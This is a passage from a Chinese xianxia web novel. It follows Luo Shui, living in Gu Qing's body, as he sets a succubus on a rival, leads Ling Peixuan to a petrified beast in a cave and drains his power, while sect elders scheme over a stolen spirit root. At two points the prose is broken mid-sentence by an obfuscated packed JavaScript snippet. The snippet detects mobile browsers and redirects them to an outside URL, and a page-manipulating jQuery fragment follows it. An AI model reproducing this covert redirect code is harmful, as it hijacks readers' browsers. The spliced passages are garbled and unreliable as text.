殿门此时紧闭,但是有股股灵气从门缝中溢出,想来此刻里面正在进行的,就是对冰凌圣根的炼化。但是掌门殿外还站着天山派其余的弟子,这些人正盘坐在殿门前,闭眼运气聚功。洛水假装扫地之余,用神识探查了一番众人的修为,几乎都只有筑基期,修为最高的也不过是筑基后期准结丹期。而修为最高的,正是顾青的大师兄成毅。 洛水还在观察之余,殿门突然打开,一个弟子走了出来,张口道:“雪霜门弟子入殿!”声音洪亮,一下子惊醒了打坐中的人,只见成毅还有另两个弟子迅速起身,目光锐利地扫视四周,随后稳步走向殿门。 这三人进殿后不久,洛水便察觉殿中渗出的灵气较比之前更为浓郁。 ‘这不会是,用其余弟子修为一同炼化冰凌圣根吧’洛水心中一惊,眉头微皱,暗自思忖:‘筑基期弟子修为尚浅,炼化仙髓这等事需将全身灵力源源不断供出,如此供出自身灵气,等同于竭泽而渔,筑基期弟子将再无结丹可能’ 想到这,洛水浅浅一笑,不禁再次感叹:‘世人皆言邪魔外道为祸,而正道中人,有时亦以人皮为裳,行径卑劣,不遑多让。而邪魔异类,行事坦荡,敢作敢当,相较之下,或更显高洁。’ 雪霜门的人也未进去多久,一个时辰后便出来了。三人出来时,面色苍白,步履蹒跚,唯凭石阶旁护栏之力,方能站稳。众人还未反应过来,早前那弟子又张口道:“冰魄门弟子入殿。”这次回应喊话的,只有一人。那人经过成毅三人身边时,眼神里透出一股恐惧,最后咽了口唾沫,硬着头皮迈进殿门。 ‘唉,顾青啊顾青,你说你何必用如此代价启动借尸还魂阵,依我看,这天山派已是气数将尽,即便你不咒杀他们,他们也迟早会因拿了你的冰凌圣根死于非命’洛水轻叹一声,不过没有顾青,就没有他,修真界中,修行虽重,机缘更胜。一切冥冥之中,皆由天意主宰。昔日未化神时,妄图化神后主宰他人命运;及至化神,方知其后尚有更高境界,欲无形中掌控众生命运,所需修为,非数万载不可成。想得远了,洛水收回思绪,起身走向成毅。 “师兄,你还好吧,给,喝口水。”洛水笑吟吟地递上了哑娘早前给他准备的水袋,成毅看了一眼顾青,脸色忽地一沉,灵力透支后,他干渴难耐,却不愿接受顾青的水袋,只因那难以捉摸的笑容背后,似乎隐藏着锋芒。 “师兄你是嫌弃我的水袋吗?没事的,这都是我今早打的水,干净着呢,不信,我喝一口给你看。”洛水端起水袋,仰头畅饮,成毅的目光却不由自主地落在顾青修长的脖颈上,喉结滚动,肌肤如雪,在阳光下微微闪烁,引得他心中一阵莫名的悸动。 “师兄,喝一口罢。”眼前的顾青依旧笑意满满,成毅盯着被顾青入嘴过的水袋口,一滴晶莹剔透的水珠正萦绕在上,犹豫片刻,终究接过水袋,轻抿一口,却觉甘甜清冽,体内灵气似有微澜。成毅心中一松,不禁多喝了几口。 “师兄,我还要打扫,我晚上回去再去看你呀。”顾青转身离去,只留下成毅一人痴痴傻傻地看着顾青离开的背影。 7. 七、伺机而动(一) 入夜,洛水从香囊中掏出一张粉色符箓,这符箓上所写图腾并非寻常样式,龙飞凤舞也不知出自谁手。顾青掏出小刀,轻轻划破指尖,滴落一滴鲜血于符箓之上,瞬间符箓光芒大盛,顾青赶紧把符箓丢与地上,符箓触地后光芒瞬速褪去,一个六芒星法阵缓缓浮现,法阵中央隐约显现出一个模糊身影。 法阵光芒散去,模糊身影逐渐清晰,只见一长着羊角,样貌艳丽秀美,金色双瞳扑闪扑闪的女子出现在法阵中,她上本身看起来与一般人无异,没有衣服的遮挡,身材可以说是即曼妙又让人热血喷张。而她的下半身,则是毛茸茸的如羊一般,双脚是一双蹄子,她还有一根如鞭的尾巴,此刻正不断地往女子上半身露骨部位蠕动,魅惑挑逗之意尽显。 洛水在早期为实现元婴境界的突破,于世界各处寻求机缘时,在遥远的西方地域遭遇了一种魔物。该地域荒凉且充满神秘,据传妖魔横行,且有西方天神的守护,其展开的结界足以使东方修真者的法力大幅下降,几近于无。洛水因此认识到此地并非其寻求的机缘所在,但出于对未知生物的好奇,他还是利用捕妖工具捕捉了几只魔物,计划将来作为稀有之物进行观赏。 西方的魔物与东方的魔物在本质上相似,它们都以吸取凡人的精血为生,只是方法各异。洛水特别偏爱眼前这个名为‘魅魔’的魔物。这种魔物通过潜入梦境,与吸食对象共享幻境中的欢愉,从而在梦中吸取精血,这一过程既无声无息,也不会留下任何痕迹。 西方的异界生物在进入九州后,似乎无法在该地区长期存续。推测原因,九州可能同样拥有由天神构筑的防御结界,有效地阻止了西方的妖魔侵入。因此,洛水采取了将这些魔物封印于符箓内的措施,并以灵气进行培育,以便在必要时刻进行召唤。洛水很少进行此类召唤,对他而言,这些异界的生物更多地被视为一种收藏品,难以承担起协助其执行重要任务的职责。然而今日,这些魔物最终还是找到了它们的用武之地。 “晚上,你去寻这人,好好饱餐一顿。”洛水拿出一根头发,这头发是成毅的,今日给他递水时偷偷取得的。魅魔闻言,拿过头发,伸出舌头缓缓舔舐,随后又吞入了口,眼中闪过一丝欢喜的神色,随后娇嗔一声,忽的隐去了身形,看样子是迫不及待去执行任务了。 洛水目送魅魔消失,嘴角勾起,随后脱下身穿的金蚕丝长袍塞入香囊,换上了一身顾青衣橱里有些破洞有些脏臭的袍子,趁着夜色渐浓,隐入黑暗之中离开房子。 另一头,凌裴玄也趁着众人打坐休憩,偷偷跑了出来。如洛水所说,今夜是满月之夜,天空一轮巨大的明月高挂,地上被铺满了银白色的光芒,凌裴玄从口袋中掏出那颗灵石,灵石在月光下散发出单单亮色,看起来与平日的灵石并无不同,不知为何偏偏这颗还要滴血。 但是凌裴玄很快就想到了今日顾青那张充满讥讽笑意的脸,立即掏出腰间匕首往指尖一划,鲜血立即冒出。凌裴玄快速地把手指上的血抹到灵石身上,‘嗡’一声,灵石碰触到血时,石体嗡嗡振动,本来冰蓝色的石体在震动中迅速粉碎,最后剩下一枚血红色的珠子。珠子表面流转着幽暗的光泽,触碰到月光,光泽更胜,悠悠地漂浮起来。珠子缓缓旋转,忽然朝着一个方向缓缓飘去。 凌裴玄很快就明白过来,这就是顾青白日里说的提示,赶紧跟上珠子走去。 珠子漂浮的速度有些快,凌裴玄也是筑基期中期的修为,如不集中精神跟着,竟差点跟丢,好在夜里黑,珠子的红光格外刺眼,这才没有跟丢。天山派建于数座山峰之上,开派至今已有数百年,这百年间已修了不少的石阶把数座山峰连在一体。这两日听天山派的弟子说,这山峰之下多有溶洞,溶洞中暗河交错,形成了一个庞大的天然地下迷宫。除了后山是禁地之外,山峰下的各种溶洞也是禁地,数百年间有不少好事的弟子进洞探查过,不过均无归来。 而此时珠子不断奔驰而去的,正是山脚方向,且绕开了石阶,带着凌裴玄跳入树丛之中,下山之路陡峭无比,如若不是筑基期修为在身,凌裴玄恐怕早已跌落山崖。珠子飞得快,凌裴玄跑得急,也没用多少的时间,一珠一人便到了一处溶洞入口处。 看着黑乎乎的溶洞,凌裴玄咽了一口唾沫,溶洞内阴风阵阵,珠子的光亮度着实低,自己出门急又忘了带火折子,心下不禁有些忐忑。 “嘿,你来啦。”一声招呼,从身后某个树丛中响起。 “啊!!!”凌裴玄尖叫,迅速转身,只见一个黑影从树丛中走出,竟是顾青。他脸上带着玩味的笑容,让凌裴玄从害怕的心情一下转换到了厌恶。 “怕啦?”顾青咧嘴一笑,凌裴玄‘呸’一声,骂道:“是人是鬼?” “自然是,美丽,‘冻’人。”顾青抖了抖身子,凌裴玄才发现他没穿那件金蚕丝长袍,而是一件破烂素衣,不由得眉头一紧:“咋不穿你那件夸张的衣服了?是认输了准备耍赖。” “这不是怕你赢了,衣服叠得好好的放着呢,等着你赢了去拿。” “谁知道你说的是真是假?” “我从不骗人,至于要不要信我,这是你的勇气问题,就如同你敢不敢进去寻找答案。”顾青的回答让凌裴玄冷哼一声,随后回答道:“有何不敢,进就进!” 话刚说完就后悔了,这黑乎乎的洞穴,一点照明的手段都没,里面暗河又多,一不小心掉了进去,可能一百年以后才能把尸骨冲出来,凌裴玄不由得踌躇起来。 顾青却似看穿了他的犹豫,轻笑一声,手掌一下按到了凌裴玄的肩膀上,嬉笑说:“借你点灵气。”语毕,跟前的珠子忽地光芒大盛,相比刚才的亮度,此刻的亮度简直可以照亮半边天。 “你这是什么妖法?” “哪里是妖法,你们诸天峰没教你们这个吗?猎灵时不都得用到这个吗?”顾青的问话让凌裴玄抿了抿嘴,好半天才说道:“没去过。” “不应该啊,你这修为,我瞧瞧,都筑基了,此段时间最佳增加修为的办法,不就是猎灵吗?”顾青所说的猎灵,其实是各大门派为各家弟子提供的一种历练方式,由更高的修为者将从各地掳掠来的异兽放于一处结界内,供弟子们猎杀,以提升修为。而猎灵佼佼者,还可获得珍稀灵草和法宝奖励。虽说猎灵时各大门派共同举办,但散修亦可参与,这对于修为尚浅的筑基期修士来说,是最好的提升机会。 “你怎么那么多废话啊,走不走啊!”不知顾青的话哪一句惹怒了凌裴玄,神情立即变得恼怒。 “这不是应该你走前面吗?”顾青倒也不恼,依旧笑脸相迎,侧开让开。凌裴玄瞪了他一眼,深吸一口气,硬着头皮迈步向前。 洞穴内阴冷潮湿,空气中弥漫着腐朽的气息,石壁上水滴声清晰可闻,不时还传出一些不明生物的鸣叫,凌裴玄走在前面,虽说珠子的光亮已照亮了溶洞大部分的内容,但总有几个黑色的角落无法照到,凌裴玄走了许久,但并未走出多远。 “我没告诉你么?这里没有异兽。”顾青的声音从身后响起,带着一丝戏谑。 “废话!我知道!”凌裴玄嘴上虽硬,心中却难免忐忑,脚步依旧没快多少。 “这样吧,聊下天,聊着聊着就到了。” “我不想和你……” “我叫顾青,你呢?”顾青没有理会凌裴玄的不耐。 沉默了一会,凌裴玄才开了口:“我叫凌裴玄。” “好名字,你家里一定很疼你。你刚才说你没参加过猎灵,但我看你筑基修为颇为沉稳,是否有前辈引渡修为与你?” “你到底想问什么?” “不问什么呀,我闲聊。” “闲聊怎么不从你开始,干嘛一直问我!” “行叭,你想知道我些什么事,不过我仙髓被夺,记忆也一并受损了,未必事事都记得清。” “你还真想说那冰凌圣根是你的啊?恬不知耻。” “刚才我就说了,我从不骗人。” “就没有人不撒谎的。” “有啊,我就是。” 凌裴玄冷哼一声,回头说道:“你说冰凌圣根是你的,你有何证据?” “你要证据?稍等。”说完,顾青停下脚步,开始解开衣襟扣子。 “你做什么!你给我……”凌裴玄的话还没说完,顾青已经解开了衣服,转过身露出了背部,一道粉嫩肉色的巨型蜈蚣疤痕由颈部蔓延至腰间,凌裴玄看傻了眼,他从未在一个人的身上看到过如此恐怖的伤疤。“这是什么伤?”凌裴玄不由自主地开口询问。 “被我师傅下了迷魂药,趁我没有意识时,直接生剥仙髓留下的伤口,那根仙髓也就是你说的冰凌圣根。”顾青一边说着一边扣回衣服,脸色如初,依旧面带笑意。 “可我听师傅说,人仙髓一失,必将死亡。” “也有死不掉的,看命。死不掉的惨一些,即便是伤疤愈合,亦会日日承受锥心之痛,无法正常行走,因为每一步都如同在针上蹦跳,也无法干活,双手无论碰什么都如同放在熔浆里浸泡。”听完顾青的话,凌裴玄沉默了。 “可你此刻的样子不像你诉说的那般痛苦啊。” “我付出了些代价,暂时把这份痛苦隔绝起来了。” “什么代价?” “我不能说。” “你不是说你不骗人吗?” “我没骗你,不能说就是答案,每个人都有不能说的秘密,难道你没有吗?” “我……我没有。” “不可能,你这个年纪,书房里应该会设有个暗格,里面会藏一些家里人不允许拥有的东西吧。”顾青的话一出,凌裴玄的脸立时一红,像是被戳中了心事,他支吾道:“我,我说没有,就是没有!” “有也没关系,我像你这个年纪的时候,我的书房……”话到嘴边,顾青没有往下说了,凌裴玄又回头看向顾青,只见他的神情僵着一个笑容,看起来十分痴呆。 “怎么不说了?” “我好像,忘了有什么了。” “是因为被抽掉仙髓导致的吗?” 顾青没有回答这个问题,只是蹲下身子拿起一颗石子,投向一旁的暗河,笑道:“这河水有够急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116017|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,也不知道流向哪。”语毕,两人不约而同的不再说话。 越往里走,洞里不知从何处呼啸来的风变得更为冷冽,与外头的风不同,这里的风带着一股潮湿的腥臭味,而洞里的空间则变得更为庞大。刚进来时,头顶不远处就是发着光的钟乳石,而此时,头顶上方已然看不到顶,两人行走的步伐声随着洞穴越发的空旷,也越发地响亮。 凌裴玄就近摸了摸身边的石壁,透出微微的荧光,显得诡谲而神秘。 “有点奇怪。”凌裴玄摸着石壁嘟囔道。 “怎么奇怪了。” “诸天峰也有不少的洞穴,与此类似的也有,但我总觉得这里和诸天峰的洞穴有些不一样,总觉得少了些什么。”凌裴玄的眼睛四处晃动,寻找着脑海中一闪而过的不同之处。 “是有点,我猜你想说的,应该是这里没有任何的‘生命’吧。”顾青的话一出,凌裴玄恍然大悟。正是‘生命’,洞穴阴暗潮湿,应该是夜间生物最喜爱的地点,但是一路走来,一只蝙蝠之类的生物也没有。凌裴玄想起诸天峰下面的洞穴,那里的生物简直可以用‘生机蓬勃’来形容,不仅有蝙蝠,还有老鼠,虫子,因为潮湿阴冷,地面还会长出苔藓,水里还会有鱼,更深处还能看到没有眼睛的鱼。而这里,少说也走了有一炷香的时间,竟然连一只虫子都为碰到过。 “就是生命!哎呀,我怎么会没想到。” “你能想到这一层已经很厉害了,而且,这说明你离答案已经很近了。”顾青说着话,第一次超越了凌裴玄,走到了前头。只见他晃了晃手,那珠子立即停止前进,转而飞向洞穴顶部,顾青对着凌裴玄招了招手,说:“小玄,来,借我点灵力。” 一声小玄让凌裴玄起了鸡皮疙瘩,这不过是才认识,就用如此亲昵的称呼,凌裴玄感觉十分不适应,不悦道:“我叫凌裴玄,不叫小玄!你给我搞清楚称呼!我和你没那么熟。” “关系再好的朋友,也是从‘不熟’开始的,起码我们走出了第一步了,不是吗?”顾青咧嘴一笑,展露白齿,珠子的红光下看着他多了几分渗人。凌裴玄从进洞开始便一直捏着法诀,此刻他真的很想御动法诀,祭出法宝把顾青直接轰成血雾。 “我不觉得我和你是朋友,还有,为什么要一直借我的灵力,你自己没有吗?”凌裴玄冷声回应。 “没有,一点都没有,不信,你可以用你的神识查勘一番。”顾青坦然地张开双臂,其实凌裴玄早在碰到顾青时,便用神识探查过了,一路上也不断地重复确认,他确实没在顾青身上发现大量灵力的存在,只有一点微薄到不能再微薄的灵力,和未修仙的人几乎无异。 “没有灵力,这些古怪的器物倒是不少,也不知道你到底撒了多少谎。”凌裴玄看了看头顶上的珠子,光芒虽盛,但是这点光根本不能从那么高的位置照亮此处,凌裴玄自然知道顾青借灵力所谓何用,不情愿不耐烦地耸起肩膀,没好气道:“赶紧的,别碰我那么久。” “放心放心,一下就好。”顾青展露笑颜,手掌一拍,凌裴玄只觉身体一颤,头顶的珠子再一次爆发出剧烈光芒,刺得凌裴玄不得不闭眼。 过了一会,凌裴玄睁开眼,怒了声:“我的灵力都被用在这种破道具上了。”便想转头看一眼周围,而头刚转过去,凌裴玄立即被眼前的景象吓得脸色一瞬间苍白。 在珠子的红光映照下,眼前赫然出现的是一具庞然巨物的骨架。那骨架直顶洞穴最高处,还有一半的骨架被嵌在洞穴的石壁之中。左右两侧是巨物随意洒落的骨头,如同锋利的刀锋,映着红光闪烁着阴冷的光泽。巨大的肋骨弯曲如半弓,营造出一种近乎绝望的压迫感,仿佛在警告着闯入者要小心翼翼。 “这……这是什么?”他低声喃喃,声音在广袤的空间中显得无比渺小。他的双腿微微颤抖,脑海中浮现出无数想象:这些骨架来自何处?究竟是一种怎样的生物,才能在这片土地上留下如此巨大的遗骸?每一个细节都让他感到恐惧,无法自已。 “我也不知道,这应该是亿万年前的凶兽吧。”顾青走向前,用脚踢了踢旁边散落的一处骨头,邦邦邦的响声,与石头无异,这些骨头已然石化了。 待初见时的恐惧慢慢褪去,攀爬上心头的,是一股兴奋,凌裴玄从未见过如此庞然大物,这骨架展露在眼前的,大概也只是一小部分,仅是这一小部分,便让凌裴玄感觉到天地之大,万物之多的广阔,从前在各类书卷里描述的天地万物,除了日常所见,竟还有这般浩瀚巨物。 待兴奋下去一些,理智重回心头,凌裴玄转身看向顾青,问:“你不是带我来找答案的吗?怎么变成带我参观奇珍异物了?” “啊?这,还不是答案吗?”顾青瞪大眼睛惊呼道。 “什么?这算什么答案?” “你们诸天峰到底教叫弟子一些什么东西,日日背戒律,天天练体术,修真的人看东西只是用肉眼看的吗?”顾青叹着气,上前一把抓住凌裴玄的手,一下子按到了骨架之上,然后说道:“运气,就像打坐时汲取周遭灵气那般,去感受灵气,气会告诉你答案。” 8. 八、伺机而动(二) 凌裴玄有些抗拒顾青抓着他的手,但是此刻顾青的脸上只剩下严肃,让他想起了自己的授学师傅,心里冒出一丝丝的惊恐之意,虽不情愿但还是如顾青所说,开始闭眼御气。 这套功法极为基础,但凡是踏入修仙一脉的人,最早学会的便是打坐汲取灵气之法,这功法即便是元婴级别的人物,也是时常运用,只因汲取天地之灵气不仅可以用于增长修为,亦可用于修复元神之伤,故而凌裴玄修炼得极其熟练,念头一动,便能汲取灵气。 平日里汲取灵气,只觉浑身清爽,犹如碧泉流入体内,但这一次,凌裴玄的手摸上骨架的一刻,已觉不妥。手掌触摸到的骨架上也弥漫着一股灵气,但是这股灵气浊而不清,混沌不明,流转于体内,只觉五脏六腑都开始郁结,当元神与灵气碰触,一股恨意不知从何处冒了出来,凌裴玄的心里掠过众多自己过往不愉快的事,一件件一桩桩,无限地叠加,无限地放大,凌裴玄只觉此刻的自己好恨,他好想……他好想……他好想杀人! 杀人,杀了那些心头上涌出的人,那些让自己不爽,与自己过不去的人,杀!都杀了!阻挡自己的人,也都杀了,还有那些过得比自己好的,杀!杀!杀! “啪”一声脆响,顾青给了凌裴玄一巴掌,脸颊上涌出的疼痛打断了元神与这股灵气的连接,忽地,念头全散,凌裴玄一个没站稳,双手抱着脑袋原地摔了下去。 第一次,这是第一次,他居然,他竟敢有了杀人的念头! 凌裴玄害怕极了,他怎么敢有这样的念头,他怎么会有这样的念头,一定是顾青,一定是他做了什么手脚!想到此,凌裴玄怒目圆睁,狠狠地瞪向顾青,而顾青却似早已洞察一切,嘴角勾起一抹‘我就知道会如此’的冷笑。 “你对我做了什么!”凌裴玄的声音带着浓浓的愤怒,如若不是还谨记诸天峰十诫,此刻的他,早已御动法诀,把顾青撕个粉碎,但凌裴玄很快便被自己这个念头吓到,脸色惨白。 “没做什么,只是带你来看下你想要的答案。” “狗屁答案!” 顾青不气不恼,伸手指了指骨架,褪去了嬉笑打闹的嘴脸,认真道:“这骨架中蕴含的灵气,是被怨恨浸染过的,你心中的恨意,不过是它引发的共鸣。亿万年前,眼前这头上古凶兽带着无尽的怨气而亡,其怨气深重,竟穿透岁月,直至今日依旧附于骨架之上。天山派的连绵山峰,正是历经亿万年后,这头凶兽的骨架化作的。” 凌裴玄听后,心中震惊不已,天山派虽然是个小门派,但这两日走下来,门派之内群峰迭起,十分广阔,山间青秀,万物繁荣,若真如顾青所言,这凶兽带着无尽怨念陨灭,山间之中又如何能有今日之灵秀之景。“这些都是你空口胡说,天山派虽不是说什么名门大宗,但是门派灵气清新,这两日下来我已汲取不少,从未有过刚才所感!”凌裴玄恼怒道,刚才那一刻的感受还历历在目,实在让人难受。 “亿万年前的东西,这么久的时间,足够凶兽的怨气浸染在这片土地上的每一寸,与灵气共存共生。山间万物并不依赖灵气蕴养,不会受到影响。但是修真之人,如若汲取的灵气里含有不易察觉的怨气,长年累月,你觉得后果会如何?筑基期的修士都能轻松活个一两百年,更别提到了结丹期的,如若几百年都在无意识地积攒这样的怨气,你觉得,下场会如何?” 顾青笑了笑,透着一股的耍坏,继续解释:“灵气,怨气,本是一样东西。正道修炼,多以灵气辅助,而魔道功法,需要怨气增助,但无论是正道还是魔道,都深知一个禁忌,就是‘两气不可混为一用’,如若两气混杂,不正不邪,后患无穷。” “你说了半天,是说天山派突破元婴时展露的仙光,与此地的怨气有关?” 顾青不语,点了点头。 凌裴玄有幸见识过诸天峰六长老的元婴突破之景,那日只见诸天峰六长老的洞府仙光冲天,瑞气环绕,整个峰顶都被五彩绚烂的光芒笼罩,灵气扩散全峰,弟子们皆感心神愉悦。而今日在天山派掌门殿所见仙光,当时只觉仙光小气,还以为是天山派底蕴不足,修为不佳导致,没想到背后竟还有这般缘由。 凌裴玄心里其实已有些认同顾青的说法,但是不知哪来的一股别扭始终不让自己承认:“都是你的猜测,毫无证据。” “我便是活生生的证据,对于你们正派而言,夺人仙髓为己所用,是什么样的罪过,不需要我多言。为何天山派迟迟未出第二个元婴长老,为何天山派的众人竟丧心病狂至强夺弟子仙髓,难道这些展现在你面前的东西,还不算是证据吗?”顾青的声音没有波动,只是冷静地阐述着,听得凌裴玄脊背发凉,他不想去相信顾青,不想去相信这个今日才认识的陌生人,但是他展露的伤痕,还有此刻在眼前的骨架,还有骨架之中的怨气,让他即使不情愿,也不得不在理智上,多相信顾青几分。 “那……那你大费周章,与我对赌,又带我来这,只是为了,赢下今日赌约?”凌裴玄的语气破天荒的,第一次有了些气馁。 “是,但也不是。”顾青再次伸出手掌,笑颜展开,一脸的人畜无害样,笑道:“还有一样东西,我还想给你瞧瞧,但,你懂的……”顾青摇了摇手掌,凌裴玄叹了口气,伸出手掌主动握上顾青的手,无奈说道:“又要借灵气,你这次又要借多少?” 顾青紧握凌裴玄的手,眼中寒光一闪,嘴角勾起一抹深意的笑,眼眸深处的阴影如同深渊,缓缓吐出二字:“全部。” 凌裴玄心头猛地一颤,灵气如同被狂风卷动,瞬间在经脉中奔腾,一股前所未有的吸力自掌心炸裂开来,全身灵气仿佛决堤的洪水,不受控制地奔向顾青。他咬紧牙关,额角渗出冷汗,却见顾青周身光芒大盛,凌裴玄根本抵挡不住全身灵力的流失,只觉自己此刻握住的是一个黑洞,正肆无忌惮地吞噬自己的全部灵力。 不过片刻,凌裴玄已双唇发白,双脚发软,再也支撑不住,整个人跪倒在了原地。顾青周身光芒璀璨夺目,脸上的笑意愈发张扬,那笑意中已无半点无害与玩世不恭,取而代之的是冷酷决绝,宛如一位俯视众生的帝王,掌控着世间万物的生死轮回。凌裴玄心中涌起前所未有的恐惧,他这才明白,他被暗算了。 “你……你……”凌裴玄用尽全身力气,也无法张嘴说话,灵力的快速流失已经影响到了元神,此刻他只觉得自己如同一片枯叶,飘摇在狂风之中,随时可能被撕成碎片。 “嘘,别说话,也别再试图运转灵力,你所有的灵力,都在我这了。”顾青边说话,边御动口诀,一股轻盈的浮力环绕着凌裴玄,缓缓地将他托至一旁。 顾青握了握拳头,感觉周身灵力无比充盈,但是此刻身体的缺口也在快速流失灵力,他知道他没多少时间了,立即双指点向香囊,口中念动法诀,只听见顾青低吟发音,不知口中所颂是何种语言,只觉得低沉得让人心慌,躁动,不安。香囊发出一道紫光,五面黑色旗帜飞出,旗面上还写着硕大的一个‘鬼’字。 “以血为盟,以魂为契,万灵血咒,开!”顾青双手结印,掌心渗出鲜血,鲜血如同激流般瞬间涌入飞旋的旗帜,旗帜随即化为熊熊烈焰,化作五道黑烟迅猛地冲向骨架,瞬间被骨架吞噬,骨架因此绽放出耀眼的幽蓝光芒,四周的空气仿佛被冻结,骤然变得冰冷。 这一阵动作后,顾青脸色愈发苍白,嘴角却勾起一抹满意的冷笑,最后双手一摊,倒在了地上,嘴里轻声呢喃:“果然……筑基期的灵力要御动万灵血咒……呼呼……还是有些勉强…不过,总算是成功了。”他喘着粗气,身体微微颤抖,休息了片刻后才勉强支撑起身子,步履蹒跚地走向凌裴玄。 凌裴玄眼睁睁看着顾青,心中绝望如潮水般涌动,但是嘴里却无法吐出半个字。 “小子,前辈教你一课:陌生人前两次无害,不代表第三次不藏奸诈。害人之道,在于耐心以待。”顾青说着,还拍了拍凌裴玄的脸颊。“还有,那颗珠子,叫作避尘珠,猎灵时用于辟邪寻路的,今日送你了,祝你猎灵早日旗开得胜,拿下榜首。”顾青说着,招了招手,珠子从空中缓缓飘下落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116018|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入手中,顾青轻轻松开手指,避尘珠便滚落在凌裴玄身旁。 “还有,今日赌约虽然是我赢了,但我骗了你,还吸了你那么多灵力,作为前辈的也不能仗着见识多欺负小辈,所以,这件长袍,还是送你了。回去拿去当了,买点好吃的补补身子。”顾青从储物袋中取出一件青色长袍,轻飘飘地扔到凌裴玄身边。“睡吧,一觉醒来什么都好了。哦,对了,你醒过来的时候,最好叫你那群师兄弟快跑。”顾青指尖轻点眉心,凌裴玄只觉脑海一震,眼前景象瞬间模糊。凌裴玄眼角微动,心中五味杂陈,却无力反抗。 顾青起身,步履蹒跚地走向远处,背影渐隐于黑暗之中,只留下一句“愿你我,今生今世,永不再见”。避尘珠幽光闪烁,映照出凌裴玄复杂的眼神,无力感汹涌澎湃,凌裴玄的意识也随之没入黑暗之中。 时间再推回至白日将近傍晚,掌门殿门前瘫着一群人,皆乃天山派各峰之精英弟子,个个面色苍白,喘息未定,凌家巡山的弟子经过,不禁驻足询问:“诸位师兄师姐,这是怎么了?” “无事,无事。”众人回答一致,凌家弟子也不好再问什么,便退了下去。 殿内,掌门眉头紧锁,目光扫过众师兄弟,人人脸上都是疲惫之色,便率先收了灵力,众人见掌门收灵力,也纷纷放松下来。掌门神色凝重,沉声道:“炼化冰凌圣根已近一年,我等修为几欲被这冰凌圣根吞噬殆尽,加上众弟子,灵力损耗严重,若再无进展,恐怕……”掌门的眼神看向山门,语气中透出无奈与忧虑,“虽有凌家坐镇,但是冰凌圣根一事估计也无法欺瞒他们太久,如若再炼化不成,埋藏在外的十几个门派,便会趁机联手攻入,届时天山派将面临灭顶之灾。” “这冰凌圣根着实奇怪,我们杀过那么多魔道,他们的仙髓也被我们抽出拿来炼成金丹喂养灵兽过,怎么没遇到过一个仙髓,会如此难以炼化。”五人中年纪最小的师弟开了口,他抓起放在旁边的水壶,咕嘟咕嘟地吞了大半壶的水。 “莫非我等炼化之道有误?”无垢边说边取出巾帕,轻轻拭去额上细汗。 “那师姐说说,这炼化仙髓,还能有其他方法吗?”凝无双嘴角勾起一抹冷笑,手中拂尘轻轻一扬,不屑之情溢于言表。 “如若方向没错的话,那我只能说,这冰凌圣根所需炼化的灵力,恐怕是我们众人之上。”劈山边说边拍了拍肚子,一把掏出个酒壶喝了起来。 “仔细回想,我们以往炼化魔道仙髓之时,虽名为抽出炼化,实则仅是剖开魔道修士脊骨,便直接施展法术炼化。莫非这仙髓,在其生长于人体之时,炼化起来更为简便?”小师弟喝完水,开口说出自己心中所想,众人的动作随着他的话语,也停了下来。 “细思之下,小师弟所言极是,我等确未曾尝试如此这般,将整根仙髓扯下后再行炼化。”无垢眼中闪过一丝恍然,沉声道:“或许,仙髓与人体相连时,其灵力更为稳定,易于掌控。我们不妨尝试仙髓保持与人体联系时,再进行炼化。”众人闻言,纷纷点头,掌门眼中也露出一丝希望,沉吟片刻道:“虽说并无根据,但事已至此,不妨一试。师妹,明日便让你那弟子来一趟吧。”掌门的目光带着一丝阴冷,凝无双点了点头,回答:“是。” “另外,如若今日之法不成,我们亦该思考一下,如何保全天山派。”掌门的话一出,众人眼神均闪过一丝凝重。天山派发展了几百年,如今,天山派仅余弟子二十余人,且修为尚浅,一旦有外敌来攻,恐怕难以抵御。掌门所言保全天山派之策,乃是提前布局,筹备退路。 “掌门师兄所言极是,保存实力为上策。天山派下山密道这两日我已探查过,尚可通行,但能容纳之人有限,最多不过十人。”无垢言罢,环视众人,其意已明,若要撤离,每人仅能带一人同行。 “如此,便好。今日到此为止吧,我还需与凌家的周旋一番,各位师兄弟,先回吧。”掌门摆了摆手,众人纷纷起身告退。夜色渐深,天山派的灯火依旧昏黄,映照着每个人心中的沉重与决绝。 9. 九、伺机而动(三) 天刚刚露出一丝晨曦,洛水摇着手臂扭着腰,脸上带着几分慵懒的笑意,轻声哼着小曲,步履轻盈地踏进了雪霜门的大门。洛水眼波流转,瞥见凝无双门厅前,跪着一群人,洛水停下脚步,开口道:“你们这是怎么了?” 众人看到他,脸上闪出喜悦之色,齐声道:“你这狗东西滚哪去了?”洛水愣了愣,随即笑道:“晚上有点饿,下山去吃宵夜了,我身体不好,爬山上来花了点时间。怎么,你们找我啊?” “是我找你。”一声冰冷且带有威严的声音从门厅深处传来,凝无双缓缓步出,目光如刀,冷冷扫过洛水:“昨夜为何擅自离山?可知此举已触犯门规?”洛水收敛笑意,低头道:“不知。” “你!”凝无双眉头紧锁,语气愈发严厉:“门规森严,岂容儿戏?你若再如此轻率,休怪我不留情面。” 